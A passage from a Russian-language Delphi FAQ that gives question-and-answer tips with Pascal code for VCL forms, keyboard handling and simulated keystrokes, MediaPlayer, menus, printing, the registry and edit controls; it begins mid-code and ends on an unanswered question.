 procedure CMDialogKey( Var msg: TCMDialogKey ); message CM_DIALOGKEY;

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CMDialogKey(var msg: TCMDialogKey);

begin

 if msg.Charcode <> VK_TAB then inherited;

end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if Key = VK_TAB then Form1.Caption := 'Tab Key Down!';

end;

Вопрос:

В чем отличие между Create(Self) и Create(Application)?

Ответ:

Self может быть использовано только в методе класса, и ссылается на текущий экземпляр класса. Таким образом "Self" в методе класса TForm1 ссылается на текущий экземпляр TForm1. При создании компонента Вы передаете его владельца (owner) в конструктор. При уничтожении формы или компонента автоматически уничтожаются и все компоненты владельцем которого она является. Таким образом если при создании формы передать в качестве владельца Application эта форма будет автоматически уничтожена при уничтожении Application. Если же при создании формы передать в качестве владельца другую форму, вновь созданная форма будет автоматически уничтоженн при уничтожении формы-владельца.

Вопрос:

Как во время выполнения определить поддерживает ли обьект заданное свойство?

Ответ:

function HasProperty(Obj : TObject; Prop : string) : PPropInfo;

begin

 Result := GetPropInfo(Obj.ClassInfo, Prop);

end;

procedure TForm1.Button1Click(Sender: TObject);

var p : pointer;

begin

 p := HasProperty(Button1, 'Color');

 if p <> nil then SetOrdProp(Button1, p, clRed)

 else ShowMessage('Button has no color property');

 p := HasProperty(Label1, 'Color');

 if p <> nil then SetOrdProp(Label1, p, clRed)

 else ShowMessage('Label has no color property');

 p := HasProperty(Label1.Font, 'Color');

 if p <> nil then SetOrdProp(Label1.Font.Color, p, clBlue)

 else ShowMessage('Label.Font has no color property');

end;

Вопрос:

Как при проигрывании музыки с Audio CD показывать сколько прошло минут и секунд?

Ответ:

В примере время выводится по таймеру.

Пример:

uses MMSystem;

procedure TForm1.Timer1Timer(Sender: TObject);

var

 Trk : Word;

 Min : Word;

 Sec : Word;

begin

 with MediaPlayer1 do begin

  Trk := MCI_TMSF_TRACK(Position);

  Min := MCI_TMSF_MINUTE(Position);

  Sec := MCI_TMSF_SECOND(Position);

  Label1.Caption := Format('%.2d',[Trk]);

  Label2.Caption := Format('%.2d:%.2d',[Min,Sec]);

 end;

end;

Вопрос:

Можно ли рисовать на рамке формы?

Ответ:

Обрабатывайте событие WM_NCPAINT. В примере рамка обводится красной линией толщиной в 1 пиксел.

Пример:

type TForm1 = class(TForm)

private

 {Private declarations}

 procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPAINT;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);

var

 dc : hDc;

 Pen : hPen;

 OldPen : hPen;

 OldBrush : hBrush;

begin

 inherited;

 dc := GetWindowDC(Handle);

 msg.Result := 1;

 Pen := CreatePen(PS_SOLID, 1, RGB(255, 0, 0));

 OldPen := SelectObject(dc, Pen);

 OldBrush := SelectObject(dc, GetStockObject(NULL_BRUSH));

 Rectangle(dc, 0,0, Form1.Width, Form1.Height);

 SelectObject(dc, OldBrush);

 SelectObject(dc, OldPen);

 DeleteObject(Pen);

 ReleaseDC(Handle, Canvas.Handle);

end;

Вопрос:

Как выполнить какой-то процесс тогда, когда пользователь не работает с моим приложением?

Ответ:

Создайте процедуру, которая будет вызываться при событии Application.OnIdle.

Обьявим процедуру:

{Private declarations}

procedure IdleEventHandler(Sender: TObject; var Done: Boolean);

В разделе implementation опишем процедуру:

procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);

begin

 {Do a small bit of work here}

 Done := false;

end;

В методе Form'ы OnCreate — укажем что наша процедура вызывается на событии Application.OnIdle.

Application.OnIdle := IdleEventHandler;

Событие OnIdle возникает один раз — когда приложение переходит в режим "безделья" (idle). Если в обработчике переменной Done присвоить False событие будет вызываться вновь и вновь, до тех пор пока приложение "бездельничает" и переменной Done не присвоенно значение True.

Вопрос:

При перемещении фокуса ввода клавишей Tab чтобы переместить его в RadioGroup нужно нажать клавишу Tab дважды если какой нибудь пункт RadioGroup уже выбран, но только один раз если не выбран. Можно ли сделать поведение RadioGroup логичным?

Ответ:

Установка свойства RadioGroup'ы TabStop в false должна решить эту проблему — поскольку клавиша tab будет продолжать работать — перемещаясь сразу на выделенный пункт RadioGroup.

Вопрос:

Как разместить маленькие картинки в компоненте TPopUpMenu?

Ответ:

В приведенном примере показано как это сделать с использованием функции Windows API SetMenuItemBitmaps(). Эта функция получает handle popup menu, позицию строчки меню куда будет помещена картинка, и два дескриптора (handles) на две картинки (одна из них — картинка которая будет показана когда строка меню доступна, вторая — когда строка меню недоступна).

type TForm1 = class(TForm)

 PopupMenu1: TPopupMenu;

 Pop11: TMenuItem;

 Pop21: TMenuItem;

 Pop31: TMenuItem;

 procedure FormCreate(Sender: TObject);

 procedure FormDestroy(Sender: TObject);

 procedure FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

private

 {Private declarations}

 bmUnChecked : TBitmap;

 bmChecked : TBitmap;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

 bmUnChecked := TBitmap.Create;

 bmUnChecked.LoadFromFile('C:\Program Files\Borland\BitBtns\ALARMRNG.BMP');

 bmChecked := TBitmap.Create;

 bmChecked.LoadFromFile('C:\Program Files\Borland\BitBtns\CHECK.BMP');

 {Add the bitmaps to the item at index 1 in PopUpMenu}

 SetMenuItemBitmaps(PopUpMenu1.Handle,1,MF_BYPOSITION,BmUnChecked.Handle, BmChecked.Handle);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

 bmUnChecked.Free;

 bmChecked.Free;

end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

var pt : TPoint;

begin

 pt := ClientToScreen(Point(x, y));

 PopUpMenu1.Popup(pt.x, pt.y);

end;

Вопрос:

Как узнать число кадров AVI файла, и выяснить как долго будет проигрываться этот файл?

Ответ:

В приведенном примере указано как получить эту информацию.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 MediaPlayer1.TimeFormat := tfFrames;

 ShowMessage('Number of frames = ' + IntToStr(MediaPlayer1.Length));

 MediaPlayer1.TimeFormat := tfMilliseconds;

 ShowMessage('Number of milliseconds = ' + IntToStr(MediaPlayer1.Length));

end;

Вопрос:

Как изменить число фиксированных колонок в TDbGrid?

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 TStringGrid(DbGrid1).FixedCols := 2;

end;

Вопрос:

Некоторые компоненты баз данных (и среди них TDBGrid) никак не меняют визуальных свойств, когда к ним отключен доступ (disabled). Как это изменить програмно?

Ответ:

Ниже приведен пример, меняющий цвет шрифта на clGray, когда доступ к элементу управления (в данном случае TDBGrid) запрещен (disabled).

procedure TForm1.Button1Click(Sender: TObject);

begin

 DbGrid1.Enabled := false;

 DbGrid1.Font.Color := clGray;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

 DbGrid1.Enabled := true;

 DbGrid1.Font.Color := clBlack;

end;

Вопрос:

Как определить нажаты ли клавиши Shift, Alt, or Ctrl в какой-либо момент времени?

Ответ:

В приведенном примере показано как определить нажата ли клавиша Shift при выборе строчки меню. Пример также содержит функции проверки состояния клавиш Alt, Ctrl.

Пример:

function CtrlDown : Boolean;

var State : TKeyboardState;

begin

 GetKeyboardState(State);

 Result := ((State[vk_Control] And 128) <> 0);

end;

function ShiftDown : Boolean;

var State : TKeyboardState;

begin

 GetKeyboardState(State);

 Result := ((State[vk_Shift] and 128) <> 0);

end;

function AltDown : Boolean;

var State : TKeyboardState;

begin

 GetKeyboardState(State);

 Result := ((State[vk_Menu] and 128) <> 0);

end;

procedure TForm1.MenuItem12Click(Sender: TObject);

begin

 if ShiftDown then Form1.Caption := 'Shift'

 else Form1.Caption := '';

end;

Вопрос:

Как изменить шрифта hint'а?

Ответ:

В примере перехватывается событие Application.OnShowHint и изменяется шрифт Hint'а.

Пример:

type TForm1 = class(TForm)

 procedure FormCreate(Sender: TObject);

private

 {Private declarations}

public

 procedure MyShowHint(var HintStr: string; var CanShow: Boolean;var HintInfo: THintInfo);

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.MyShowHint(var HintStr: string; var CanShow: Boolean; var HintInfo: THintInfo);

var i : integer;

begin

 for i := 0 to Application.ComponentCount - 1 do if Application.Components[i] is THintWindow then with THintWindow(Application.Components[i]).Canvas do begin

  Font.Name:= 'Arial';

  Font.Size:= 18;

  Font.Style:= [fsBold];

  HintInfo.HintColor:= clWhite;

 end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

 Application.OnShowHint := MyShowHint;

end;

Вопрос:

Есть ли в Delphi эквивалент функции SendKeys Visual Basic'а?

Ответ:

Ниже приведена процедура, позволяющаю отправлять нажатия в любой элемент управления (window control), способный принимать ввод с клавиатуры. Вы можете использовать эту технику чтобы включать клавиши NumLock, CapsLock и ScrollLock под Windows NT. Та же техника работает и под Windows 95 для CapsLock и ScrollLock но не работает для клавиши NumLock.

Обратите внимание, что приведены четыре процедуры: SimulateKeyDown() — эмулировать нажатие клавиши (без отпускания), SimulateKeyUp() — эмулировать отпускание клавиши, SimulateKeystroke() — эмулировать удар по клавише (нажатие и отпускание) и SendKeys(), позволяющие Вам гибко контролировать посылаемые сообщения клавиатуры.

SimulateKeyDown(), SimulateKeyUp() и SimulateKeystroke() получают коды виртуальных клавиш (virtural key) (вроде VK_F1). Процедура SimulateKeystroke() получает дополнительный параметр, полезный при эмуляции нажатия PrintScreen. Когда этот параметр равен нулю весь экран будет скопирован в буфер обмена (clipboard). Если дополнительный параметр равен 1 будет скопированно только активное окно.

Четыре метода "button click" демонстрируют использование: ButtonClick1 — включает capslock, ButtonClick2 — перехватывает весь экран в буфер обмена (clipboard), ButtonClick3 — перехватывает активное окно в буфер обмена (clipboard). ButtonClick4 — устанавливает фокус в Edit и отправляет в него строку.

Пример:

procedure SimulateKeyDown(Key : byte);

begin

 keybd_event(Key, 0, 0, 0);

end;

procedure SimulateKeyUp(Key : byte);

begin

 keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);

end;

procedure SimulateKeystroke(Key : byte; extra : DWORD);

begin

 keybd_event(Key,extra,0,0);

 keybd_event(Key,extra,KEYEVENTF_KEYUP,0);

end;

procedure SendKeys(s : string);

var

 i : integer;

 flag : bool;

 w : word;

begin

 {Get the state of the caps lock key}

 flag := not GetKeyState(VK_CAPITAL) and 1 = 0;

 {If the caps lock key is on then turn it off}

 if flag then SimulateKeystroke(VK_CAPITAL, 0);

 for i := 1 to Length(s) do begin

  w := VkKeyScan(s[i]);

  {If there is not an error in the key translation}

  if ((HiByte(w) <> $FF) and (LoByte(w) <> $FF)) then begin

   {If the key requires the shift key down - hold it down}

   if HiByte(w) and 1 = 1 then SimulateKeyDown(VK_SHIFT);

   {Send the VK_KEY}

   SimulateKeystroke(LoByte(w), 0);

   {If the key required the shift key down - release it}

   if HiByte(w) and 1 = 1 then SimulateKeyUp(VK_SHIFT);

  end;

 end;

 {if the caps lock key was on at start, turn it back on}

 if flag then SimulateKeystroke(VK_CAPITAL, 0);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 {Toggle the cap lock}

 SimulateKeystroke(VK_CAPITAL, 0);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

 {Capture the entire screen to the clipboard}

 {by simulating pressing the PrintScreen key}

 SimulateKeystroke(VK_SNAPSHOT, 0);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

 {Capture the active window to the clipboard}

 {by simulating pressing the PrintScreen key}

 SimulateKeystroke(VK_SNAPSHOT, 1);

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

 {Set the focus to a window (edit control) and send it a string}

 Application.ProcessMessages;

 Edit1.SetFocus;

 SendKeys('Delphi Is RAD!');

end;

Вопрос:

Я загружаю TImageList динамически. Как сделать картинки из TImageList прозрачными?

Ответ:

См. ответ.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

 bm : TBitmap;

 il : TImageList;

begin

 bm := TBitmap.Create;

 bm.LoadFromFile('C:\DownLoad\TEST.BMP');

 il := TImageList.CreateSize(bm.Width,bm.Height);

 il.DrawingStyle := dsTransparent;

 il.Masked := true;

 il.AddMasked(bm, clRed);

 il.Draw(Form1.Canvas, 0, 0, 0);

 bm.Free;

 il.Free;

end;

Вопрос:

Как заставить TMediaPlayer проигрывать одно и тоже бесконечно? AVI например?

Ответ:

В примере AVI файл проигрывается снова и снова — используем событие MediaPlayer'а Notify

Пример:

procedure TForm1.MediaPlayer1Notify(Sender: TObject);

begin

 with MediaPlayer1 do if NotifyValue = nvSuccessful then begin

  Notify := True;

  Play;

 end;

end;

Вопрос:

При выполнении диалога FontDialog со свойством Device равным fdBoth or fdPrinter, появляется ошибка "There are no fonts installed".

Ответ:

Эти установки должны показать шрифты совместимые либо с принтером либо с экраном. В примере диалог Windows ChooseFont вызывается напрямую чтобы показать список шрифтов, совместимых одновременно и с экраном и с принтером.

Пример:

uses Printers, CommDlg;

procedure TForm1.Button1Click(Sender: TObject);

var

 cf : TChooseFont;

 lf : TLogFont;

 tf : TFont;

begin

 if PrintDialog1.Execute then begin

  GetObject(Form1.Canvas.Font.Handle, sizeof(lf),@lf);

  FillChar(cf, sizeof(cf), #0);

  cf.lStructSize := sizeof(cf);

  cf.hWndOwner := Form1.Handle;

  cf.hdc := Printer.Handle;

  cf.lpLogFont := @lf;

  cf.iPointSize := Form1.Canvas.Font.Size * 10;

  cf.Flags := CF_BOTH or CF_INITTOLOGFONTSTRUCT or CF_EFFECTS or CF_SCALABLEONLY or CF_WYSIWYG;

  cf.rgbColors := Form1.Canvas.Font.Color;

  if ChooseFont(cf) <> false then begin

   tf := TFont.Create;

   tf.Handle := CreateFontIndirect(lf);

   tf.COlor := cf.RgbColors;

   Form1.Canvas.Font.Assign(tf);

   tf.Free;

   Form1.Canvas.TextOut(10, 10, 'Test');

  end;

 end;

end;

Вопрос:

Как сменить дисковод, откуда MediaPlayer проигрывает аудио CD?

Ответ:

См. пример.

Пример:

MediaPlayer1.FileName := 'E:';

Вопрос:

Как убрать кнопку с названием моей программы из Панели Задач(Taskbar)?

Ответ:

Отредактируйте файл-проекта (View→Project Source). Добавьте модуль Windows в раздел uses. Application.ShowMainForm := False; в строку после "Application.Initialize;". Добавьте ShowWindow(Application.Handle, SW_HIDE); в строку перед "Application.Run;"

Ваш файл проекта должен выглядеть приблизительно так:

program Project1;

uses Windows, Forms, Unit1 in 'Unit1.pas' {Form1}, Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin

 Application.Initialize;

 Application.ShowMainForm := False;

 Application.CreateForm(TForm1, Form1);

 Application.CreateForm(TForm2, Form2);

 ShowWindow(Application.Handle, SW_HIDE);

 Application.Run;

end.

В разделе "initialization" (в самом низу) каждого unit'а добавьте

begin

 ShowWindow(Application.Handle, SW_HIDE);

end.

Вопрос:

Как преобразовать цвета в строку — название цвета VCL?

Ответ:

Модуль graphics.pas содержит функцию ColorToString() которое преобразует допустимое значение TColor в его строковое представление используя либо константу — название цвета (по возможности) либо шестнадцатиричную строку. Обратная функция — StringToColor()

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 Memo1.Lines.Add(ColorToString(clRed));

 Memo1.Lines.Add(IntToStr(StringToColor('clRed')));

end;

Вопрос:

При показе максимизированной формы она перекрывает task bar и не выравнивается по верху экрана. В чем тут дело?

Ответ:

Это может произойти когда свойство position формы установленно в poScreenCenter. Установите position = poDefault.

Вопрос:

Как заставить TEdit не 'пикать' при нажатии недопустимых клавиш?

Ответ:

Перехватите событие KeyPress и установите key = #0 для недопустимых клавиш.

Пример:

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);

begin

 if ((UpCase(Key) < 'A') or (UpCase(Key) > 'Z')) then Key := #0;

end;

Вопрос:

Как получить число и список всех компонентов, расположенных на TNoteBook?

Ответ:

В примере список выводится на Listbox.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

 n: integer;

 p: integer;

begin

 ListBox1.Clear;

 with Notebook1 do begin

  for n := 0 to ControlCount - 1 do begin

   with TPage(Controls[n]) do begin

    ListBox1.Items.Add('Notebook Page: ' + TPage(Notebook1.Controls[n]).Caption);

    for p := 0 to ControlCount - 1 do ListBox1.Items.Add(Controls[p].Name);

    ListBox1.Items.Add(EmptyStr);

   end;

  end;

 end;

end;

Вопрос:

Я хочу вставить escape code в строку при использовании функции Format(). Например, я хочу создать строку, содержащую символ табуляции. В "C" я бы написал что-то вроде sprintf(buffer, "%s\t%s", str);. А как это будет на Pascal'e?

Ответ:

Функция Format Pascal'я не использует escape codes. Вместо этого нужно вставить в строку действительное значение символа в кодировке ASCII.

Пример:

Buffer := Format('%s'#9'%s', [Str1, Str2]);

ShowMessage(Format('%s'#9'%s', ['Column1', 'Column2']));

Вопрос:

Как показать первый кадр AVI-файла?

Ответ:

См. пример.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 Application.ProcessMessages;

 MediaPlayer1.Open;

 Application.ProcessMessages;

 MediaPlayer1.Step;

 Application.ProcessMessages;

 MediaPlayer1.Previous;

end;

Вопрос:

Когда пользователь щелкает по listview, он переходит в режим редактирования. Как перевести его в режим редактирования по нажатию клавиши (например F2)?

Ответ:

Перехватите F2 на событии keydown.

Пример:

procedure TForm1.ListView1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if Ord(Key) = VK_F2 then ListView1.Selected.EditCaption;

end;

Вопрос:

Когда я добавляю обьект в список TStrings как мне его потом уничтожить?

Ответ:

Просто вызовите метод free этого обьекта.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

var Icon: TIcon;

begin

 Icon := TIcon.Create;

 Icon.LoadFromFile('C:\Program Files\BorlandImages\CONSTRUC.ICO');

 ListBox1.Items.AddObject('Item 0', Icon);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

 ListBox1.Items.Objects[0].Free;

end;

Вопрос:

Вместо печати графики я хочу использовать резидентный шрифт принтера. Как?

Ответ:

Используте функцию Windows API — GetStockObject() чтобы получить дескриптор (handle) шрифта по умолчанию устройства (DEVICE_DEFAULT_FONT) и передайте его Printer.Font.Handle.

Пример:

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);

var

 tm : TTextMetric;

 i : integer;

begin

 if PrintDialog1.Execute then begin

  Printer.BeginDoc;

  Printer.Canvas.Font.Handle := GetStockObject(DEVICE_DEFAULT_FONT);

  GetTextMetrics(Printer.Canvas.Handle, tm);

  for i := 1 to 10 do begin

   Printer.Canvas.TextOut(100,i * tm.tmHeight + tm.tmExternalLeading,'Test');

  end;

  Printer.EndDoc;

 end;

end;

Вопрос:

Мне нужно программно установить некоторые файлы с установочного диска Windows. На многих компьютерах CAB-файлы установки Windows находятся в каком-то каталоге на жестком диске, на других — Windows был установлен с CD. Как узнать откуда была установленна Windows?

Ответ:

Эту информацию можно получить из реестра.

Пример:

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);

var reg: TRegistry;

begin

 reg := TRegistry.Create;

 reg.RootKey := HKEY_LOCAL_MACHINE;

 reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\SETUP',false);

 ShowMessage(reg.ReadString('SourcePath'));

 reg.CloseKey;

 reg.free;

end;

Вопрос:

Как получить строку сообщения об ошибке Windows код которой получен функцией GetLastError?

Ответ:

Функция RTL SysErrorMessage(GetLastError).

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 {Cause a Windows system error message to be logged}

 ShowMessage(IntToStr(lStrLen(nil)));

 ShowMessage(SysErrorMessage(GetLastError));

end;

Вопрос:

Как заставить Delphi выполнять еще более строгую проверка типов? Например — я создаю пользовательский тип, унаследованный от double и могу передавать его любым функциям, принимающим параметр типа double. Как заставить компилятор проводить более строгую проверку типов и выдавать предупреждение в таких случаях?

Ответ:

См. ответ.

Пример:

type TStrongType = type Double;

type TWeakType = Double;

procedure AddWeakType(var d : TWeakType);

begin

 d := d + 1;

end;

procedure AddStrongType(var d : TStrongType);

begin

 d := d + 1;

end;

procedure AddDoubleType(var d : Double);

begin

 d := d + 1;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

 d : Double;

 s : TStrongType;

 w : TWeakType;

begin

 AddDoubleType(d); {compiles fine}

 AddDoubleType(w); {compiles fine}

 AddDoubleType(s); {<- compile error}

 AddDoubleType(double(s)); {compiles fine}

 AddWeakType(d); {compiles fine}

 AddWeakType(w); {compiles fine}

 AddWeakType(s); {<- compile error}

 AddWeakType(TWeakType(s)); {compiles fine}

 AddStrongType(d); {<- compile error}

 AddStrongType(TStrongType(d)); {compiles fine}

 AddStrongType(w); {<- compile error}

 AddStrongType(TStrongType(w)); {compiles fine}

 AddStrongType(s); {compiles fine}

end;

Вопрос:

Где в Delphi обьявленны VK_Key для A-Z и 0-9?

Ответ:

Они не обьявлены в Delphi поскольку они просто могуть быть заменены буквами. VK_0 до VK_9 то же что и ASCII '0' до '9' ($30 – $39), VK_A до VK_Z то же что и ASCII 'A' до 'Z' ($41 – $5A).

Вопрос:

Как изменить оконную процедуру для TForm?

Ответ:

Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для того чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог.

Пример:

type TForm1 = class(TForm)

 Button1: TButton;

 procedure WndProc (var Message: TMessage); override;

 procedure Button1Click(Sender: TObject);

private

 {Private declarations}

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WndProc(var Message: TMessage);

begin

 if Message.Msg = WM_CANCELMODE then begin

  Form1.Caption := 'A dialog or message box has popped up';

 end else inherited // <- остальное сделает родительская процедура

end;

procedure TForm1.Button1Click(Sender: TObject);

 begin ShowMessage('Test Message');

end;

Вопрос:

Как узнать размеры TComboBox с показанным выпадающим списком до показа списка?

Ответ:

На событии FormShow пошлите сообщение CB_SHOWDROPDOWN в ComboBox дважды — один раз чтобы заставить список выпасть, второй — чтобы убрать его. Затем пошлите сообщение CB_GETDROPPEDCONTROLRECT, передав в качестве параметра адрес TRect. TRect будет содержать экранные кординаты прямоугольника описывающего ComboBox вместе с выпавшим списком. Затем Вы можете вызвать ScreenToClient чтобы преобразовать экранные кординаты в координаты клиентской области окна.

Пример:

var R : TRect;

procedure TForm1.FormShow(Sender: TObject);

var T : TPoint;

begin

 SendMessage(ComboBox1.Handle, CB_SHOWDROPDOWN, 1, 0);

 SendMessage(ComboBox1.Handle, CB_SHOWDROPDOWN, 0, 0);

 SendMessage(ComboBox1.Handle, CB_GETDROPPEDCONTROLRECT, 0, LongInt(@r));

 t := ScreenToClient(Point(r.Left, r.Top));

 r.Left := t.x;

 r.Top := t.y;

 t := ScreenToClient(Point(r.Right, r.Bottom));

 r.Right := t.x;

 r.Bottom := t.y;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 Form1.Canvas.Rectangle(r.Left, r.Top, r.Right, r.Bottom );

end;

Вопрос:

Я хочу создать в своей программе меню "а ля Дельфи 4". Как это сделать?

Ответ:

1. Разместите на форме TControlBar. (закладка Additional) Установите Align = Client.

2. Разместите TToolBar (закладка Win32) внутри TControlBar.

3. Установите в True свойства Flat и ShowCaptions этого TToolBar.

4. Создайте на TToolBar столько TToolButtons сколько Вам нужно. (щелкнув по TToolBar правой кнопкой и выбрав NewButton)

5. Установите свойство Grouped = True для всех TToolButtons. Это позволит меню выпадать при перемещении курсора между главными пунктами меню (если меню уже показано).

6. Разместите на фоме TMainMenu и убедитесь, что оно НЕ присоединено как меню главной формы. (посмотрите свойство Menu формы).

7. Создайте все пункты меню (щелкнув по TMainMenu кнопкой и выбрав Menu Designer)

8. Для каждой TToolButton установите ее MenuItem равным соответсвующему пункту TMainMenu.

Вопрос:

Как добиться того, чтобы TMemo и TEdit имели работали не только в режиме вставки символов, но и в режиме замены?

Ответ:

Элементы управления Windows TEdit и TMemo не имеют режима замены. Однако этот режим можно эмулировать установив свойство SelLength edit'а или memo в 1 при обработке события KeyPress. Это заставит его перезаписывать символ в текущей позиции курсора. В примере этот способ используется для TMemo. Режим вставка/замена переключается клавишей "Insert".

Пример:

type TForm1 = class(TForm)

 Memo1: TMemo;

 procedure Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

 procedure Memo1KeyPress(Sender: TObject; var Key: Char);

private

 {Private declarations}

 InsertOn : bool;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if (Key = VK_INSERT) and (Shift = []) then InsertOn := not InsertOn;

end;

procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);

begin

 if ((Memo1.SelLength = 0) and (not InsertOn)) then Memo1.SelLength := 1;

end;

Вопрос:

Как отправить сообщение сразу всем элементам управления формы?

Ответ:

Можно использовать Screen.Forms[i].BroadCast(msg); где [i] — индекс той формы, которой Вы хотите переслать сообщение. BroadCast работает со всеми компонентами, потомками TWinControls и отправляет сообщение всем дочерним компонентам из массива Controls. Если один из дочерних компонентов обрабатывает это сообщение и устанавливает Msg.Result в ненулевое значение — дальнейшая рассылка сообщения останавливается.

Вопрос:

При попытке присвоить значение свойству "selected" ListBox'а вырабатывается exception "Index is out of bounds". В чем тут дело и как присвоить значение свойству selected?

Ответ:

Свойство "selected" компонента ТListBox может быть использованно только если свойство MultiSelect установленно в True. Если Вы работаете с ListBox'ом у которого MultiSelect=false то используйте свойство ItemIndex.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 ListBox1.Items.Add('1');

 ListBox1.Items.Add('2');

 {This will fail on a single selection ListBox}

 // ListBox1.Selected[1] := true;

 ListBox1.ItemIndex := 1; {This is ok}

end;

Вопрос:

Как ограничить длину текста, вводимого в TEdit, так чтобы ширина текста не превышала ширину TEdit'а?

Ответ:

В примере приведено два способа ограничить длину текста в TEdit так чтобы она не превышала ширину клиентской области окна TEdit'а и не появлялась прокрутка текста. Первый способ устанавливает свойство TEdit'а MaxLength равным числу букв "W", которые поместятся в TEdit. "W" выбрана потому, что является, наверное, самой широкой буквой в любом шрифте. Этот метод сносно работает для шрифтов с фиксированной шириной букв, но для шрифтов с переменной шириной букв вряд ли сгодится. Второй способ перхватывает событие KeyPress TEdit'а и измеряет ширину уже введенного текста и ширину нового символа. Если ширина больше чем клиентская область TEdit'а новый символ отбрасывается и вызывается MessageBeep.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

var

 cRect : TRect;

 bm : TBitmap;

 s : string;

begin

 Windows.GetClientRect(Edit1.Handle, cRect);

 bm := TBitmap.Create;

 bm.Width := cRect.Right;

 bm.Height := cRect.Bottom;

 bm.Canvas.Font := Edit1.Font;

 s := 'W';

 while bm.Canvas.TextWidth(s) < CRect.Right do s := s + 'W';

 if length(s) > 1 then begin

  Delete(s, 1, 1);

  Edit1.MaxLength := Length(s);

 end;

end;

{Другой вариант}

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);

var

 cRect : TRect;

 bm : TBitmap;

begin

 if ((Ord(Key) <> VK_TAB) and (Ord(Key) <> VK_RETURN) and (Ord(Key) <> VK_LEFT) and (Ord(Key) <> VK_BACK)) then begin

  Windows.GetClientRect(Edit1.Handle, cRect);

  bm := TBitmap.Create;

  bm.Width := cRect.Right;

  bm.Height := cRect.Bottom;

  bm.Canvas.Font := Edit1.Font;

  if bm.Canvas.TextWidth(Edit1.Text + Key) > CRect.Right then begin

   Key := #0;

   MessageBeep(-1);

  end;

  bm.Free;

 end;

end;

Вопрос:

Как сохранить обьект TFont в реестре/ini/файле/таблице базы данных?

Ответ:

Нужно сохранять атрибуты шрифта (имя, размер и т.п.) а не сам обьект TFont. После считывания этой информации следует проверить существует ли такой шрифт, прежде чем его использовать. Чтобы не показаться голословным дополню ответ Borland'а своим примером сохранения/чтения шрифта в/из реестра

Uses ... Registry;

procedure SaveFontToRegistry(Font : TFont; SubKey : String);

Var R :

 TRegistry;

 FontStyleInt : byte;

 FS : TFontStyles;

begin

 R:=TRegistry.Create;

 try

  FS:=Font.Style;

  Move(FS,FontStyleInt,1);

  R.OpenKey(SubKey,True);

  R.WriteString('Font Name',Font.Name);

  R.WriteInteger('Color',Font.Color);

  R.WriteInteger('CharSet',Font.Charset);

  R.WriteInteger('Size',Font.Size);

  R.WriteInteger('Style',FontStyleInt);

 finally

  R.Free;

 end;

end;

function ReadFontFromRegistry(Font : TFont; SubKey : String) : boolean;

Var

 R : TRegistry;

 FontStyleInt : byte;

 FS : TFontStyles;

begin

 R:=TRegistry.Create;

 try

  result:=R.OpenKey(SubKey,false);

  if not result then exit;

  Font.Name:=R.ReadString('Font Name');

  Font.Color:=R.ReadInteger('Color');

  Font.Charset:=R.ReadInteger('CharSet');

  Font.Size:=R.ReadInteger('Size');

  FontStyleInt:=R.ReadInteger('Style');

  Move(FontStyleInt,FS,1);

  Font.Style:=FS;

 finally

  R.Free;

 end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 If FontDialog1.Execute then begin

  SaveFontToRegistry(FontDialog1.Font,'Delphi Kingdom\Fonts');

 end;

end;

procedure TForm1.Button2Click(Sender: TObject);

var NFont : TFont;

begin

 NFont:=TFont.Create;

 if ReadFontFromRegistry(NFont,'Delphi Kingdom\Fonts') then begin

  //здесь добавить проверку - существует ли шрифт

  Label1.Font.Assign(NFont);

  NFont.Free;

 end;

end;

Вопрос:

Как перемещать компонент мышкой во время работы программы "runtime"?

Ответ:

